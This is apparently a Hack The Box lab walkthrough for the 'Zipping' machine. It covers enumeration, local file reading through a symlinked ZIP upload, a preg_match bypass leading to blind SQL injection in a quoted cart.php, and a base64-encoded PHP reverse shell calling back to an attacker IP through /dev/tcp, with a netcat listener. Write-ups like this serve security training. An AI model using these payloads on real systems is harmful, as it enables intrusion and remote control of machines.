Zipping [HTB] Walkthrough
Zipping was my first Medium Level machine and It took longer than I expected, but finally I got it! Let's see how it was.
Enumeration & Discovering
First I added new line to /etc/hosts file
(In the case of Zipping, it wasn't necessary, but it's more convenient for me)
10.10.11.229 zipping.htb
nmap -v -p1-65535 10.10.11.229
Initiating Ping Scan at 12:20 Scanning 10.10.11.229 [2 ports] Completed Ping Scan at 12:20, 0.07s elapsed (1 total hosts) Initiating Connect Scan at 12:20 Scanning zipping.htb (10.10.11.229) [65535 ports] Discovered open port 80/tcp on 10.10.11.229 Discovered open port 22/tcp on 10.10.11.229 Connect Scan Timing: About 38.29% done; ETC: 12:22 (0:00:50 remaining) Completed Connect Scan at 12:22, 86.63s elapsed (65535 total ports) Nmap scan report for zipping.htb (10.10.11.229) Host is up (0.074s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 86.78 seconds
Okay, here I have 2 opened ports
I searched everything on the site and came to the conclusion that the working pages here are: Shops and "Work with Us" button. Shops takes me to some kind of online store, and "Work with Us" button takes me to the .zip file upload page.
At this page we can upload .zip archive contains .pdf. I uploaded compressed to zip test.pdf file to see how it works.
ZIP Vector
So every file is uploading and unpacking in folder that have a name as md5 hash. When I tried to upload a .zip with not a .pdf file inside I got an error, of course.
Here I have next vectors of attack:
Here I must say that most of published Zipping Walkthroughs are outdated for today and machine was updated, so any earlier working tricks with easy RCE are not working. I tried all I know and waste a much time for it.
I checked this 3 vectors for upload attack (extensions bypass, null bytes, evilarc tools, etc), but only "Symlinks in ZIP" are work. I can read some files using this LFI. For example: /etc/passwd
ln -s ../../../../../../etc/passwd passwd.pdf zip --symlinks passwd.zip passwd.pdf
echo "cm9vdDp4...BASE 64...ZmFsc2UK" | base64 --decode
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin pollinate:x:105:1::/var/cache/pollinate:/bin/false sshd:x:106:65534::/run/sshd:/usr/sbin/nologin rektsu:x:1001:1001::/home/rektsu:/bin/bash mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false _laurel:x:999:999::/var/log/laurel:/bin/false
Getting Revere Shell
So, I have a working LFI to read some files but can't upload any payload to get RCE.
(By the way, looks like I can get user.txt flag but it's too easy...)
I remembered about "Shop" and tried to search anything there.
After some searching I created a list of links with potential possible attack vectors:
- [forLFI/RFI] [GET] http://zipping.htb/shop/index.php?page=products
- [forSQLinj] [GET] http://zipping.htb/shop/index.php?page=product&id=1
- [forSQLinj] [POST] http://zipping.htb/shop/index.php?page=cart
I tried to use sqlmap for test all "Shop" pages to SQL-Injection but unfortunately :(
What about LFI and parameter page - it's allow me to read only php files without extension, I can't bypass this restriction. RFI was unfortunately too.
I was stuck and asked for a little hint on HTB Forum from one of users and he said:
"Try and read the source code…"
Thanks Master, I'll try harder! (Really thanks, it's a good and useful answer!)
By the way, to that moment I downloaded all .php files of "Shop" and other site but I was inattentive and didn't notice some interesting code lines and comment in cart.php file:
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
// Set the post variables so we easily identify them, also make sure they are integer
$product_id = $_POST['product_id'];
$quantity = $_POST['quantity'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
echo '';
} else {
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if ($product && $quantity > 0) {
// Product exists in database, now we can create/update the session variable for the cart
if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
if (array_key_exists($product_id, $_SESSION['cart'])) {
// Product exists in cart so just update the quanity
$_SESSION['cart'][$product_id] += $quantity;
} else {
// Product is not in cart so add it
$_SESSION['cart'][$product_id] = $quantity;
}
} else {
// There are no products in cart, this will add the first product to cart
$_SESSION['cart'] = array($product_id => $quantity);
}
}
// Prevent form resubmission...
header('location: index.php?page=cart');
exit;
}
}Now I must find a way to bypass this hard preg_match. I opened HackTricks and found this interesting trick.
Okay, it's time to test this %0A method:
Well, it didn't show me cart page and looks like I successfully bypass preg_match filter! Also looks like a SQL-injection here is Blind so I can't find any response data with error or something like that.
Here I remembered a code from functions.php file (it contains database name, user and password). All MySQL requests executing from root user of DB so I must have access to all functions, even file reading and writing. But unlikely I have permissions to write files at the /var/www/html/ directly, right? Right :(
Google said that MySQL root user may have permissions to /var/lib/mysql/ directory. Need to check it.
Success! I can write files using SQL-Injection! Time to get a reverse sell 😏
nc -nvlp 4444
PHP reverse shell to 10.10.14.81:4444
(I tried many variants but this works without dropping connection)
<?php exec("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44MS80NDQ0IDA+JjE= | base64 -d | bash"); ?>(Don't be like me, don't forget to escape + as %2b before sending request)
Here I encoded it to Base64 and used MySQL "from_base64" function. Finally it started stable reverse shell.
PD9waHAgZXhlYygiZWNobyBZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzh4TUM0eE1DNHhOQzQ0TVM4ME5EUTBJREErSmpFPSB8IGJhc2U2NCAtZCB8IGJhc2giKTsgPz4=
Easy Root Hint
Just check kernel version and you will find a PoC to get a root. If necessary, make some changes to code lines 😉